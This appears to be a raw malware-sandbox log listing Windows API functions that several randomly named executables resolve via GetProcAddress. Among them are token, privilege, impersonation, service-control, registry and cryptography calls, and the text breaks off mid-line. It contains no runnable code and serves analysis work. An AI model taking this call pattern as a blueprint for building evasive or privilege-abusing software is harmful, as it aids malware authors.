"1fX89KT6.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter GetProcessMemoryInfo (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter GetUserName (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter GetUserNameA (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter GetUserNameExA (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter OpenSCManagerW (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter OpenServiceA (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter StartService (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter StartServiceA (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter CloseHandleW (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter LookupPrivilegeValue (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter NtQuerySystemInformationW (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter GetExitCodeProcessW (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter ImpersonateLoggedOnUser (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter ControlService (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter ChangeServiceConfig (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter ChangeServiceConfigA (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter SortGetHandle (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter SortCloseHandle (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter RegCreateKeyEx (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter RegCreateKeyExW (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter RegSetValueEx (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter RegSetValueExW (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter AddRefActCtx (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter ReleaseActCtx (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter GetCurrentActCtx (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00005768) "1fX89KT6.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00005768) "3qu90Pt.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005056) "3qu90Pt.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005056) "3qu90Pt.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005056) "3qu90Pt.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00005056) "3qu90Pt.exe" called "GetProcAddress" with a parameter UnregisterTraceGuids (UID: 00000000-00005056) "4HS096BX.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter _CorExeMain (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter GetProcessMemoryInfo (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter SystemFunction036 (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter ThemeInitApiHook (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter IsProcessDPIAware (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter IsAppThemed (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter IsAppThemedW (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CreateActCtx (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CreateActCtxA (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter RegisterWindowMessage (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter RegisterWindowMessageW (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter SortGetHandle (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter SortCloseHandle (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter StringFromGUID2 (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter OpenThreadToken (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter BCryptGetFipsAlgorithmMode (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CryptGetDefaultProviderW (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CryptAcquireContextW (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CPAcquireContext (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CPReleaseContext (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CPGenKey (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CPDeriveKey (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CPDestroyKey (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CPSetKeyParam (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CPGetKeyParam (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CPExportKey (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CPImportKey (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CPEncrypt (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CPDecrypt (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CPCreateHash (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CPHashData (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CPHashSessionKey (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CPDestroyHash (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CPSignHash (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CPVerifySignature (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CPGenRandom (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CPGetUserKey (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CPSetProvParam (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CPGetProvParam (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CPSetHashParam (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CPGetHashParam (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CPDuplicateKey (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CPDuplicateHash (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter EqualSid (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CryptGenRandom (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter GetSystemMetrics (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter GetModuleHandle (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter GetModuleHandleW (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionAndSpinCount (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter ProcessIdToSessionId (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter ImmCreateContext (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter ImmDestroyContext (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter ImmNotifyIME (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter ImmAssociateContext (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter ImmReleaseContext (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter ImmGetContext (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter ImmGetCompositionStringA (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter ImmSetCompositionStringA (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter ImmGetCompositionStringW (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter ImmSetCompositionStringW (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter ImmSetCandidateWindow (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter AdjustWindowRectEx (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter GetCurrentThread (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter DuplicateHandle (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter GetCurrentThreadId (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter GetCurrentActCtx (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter DefWindowProcW (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter GetStockObject (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter RegisterClass (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter RegisterClassW (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CreateWindowEx (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CreateWindowExW (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter SetWindowLong (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter SetWindowLongW (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter GetWindowLong (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter GetWindowLongW (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CallWindowProc (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CallWindowProcW (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter GetClientRect (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter GetWindowRect (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter GetParent (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CryptImportKey (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CryptExportKey (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CryptCreateHash (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CryptHashData (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CryptGetHashParam (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CryptDestroyHash (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CryptDestroyKey (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter _calloc_base (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter InitializeSListHead (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter malloc (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter SetProcessDPIAware (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter PathAppendW (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter DWriteCreateFactory (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter PathCombineW (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter LoadLibraryW (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter EnumSystemLocalesEx (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter GetDateFormatEx (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter GetTimeFormatEx (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter IsValidLocaleName (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter GdiEntry13 (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter GetDynamicTimeZoneInformation (UID: 00000000-00005984) "4HS096BX.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00005984) "4HS096BX.exe" called 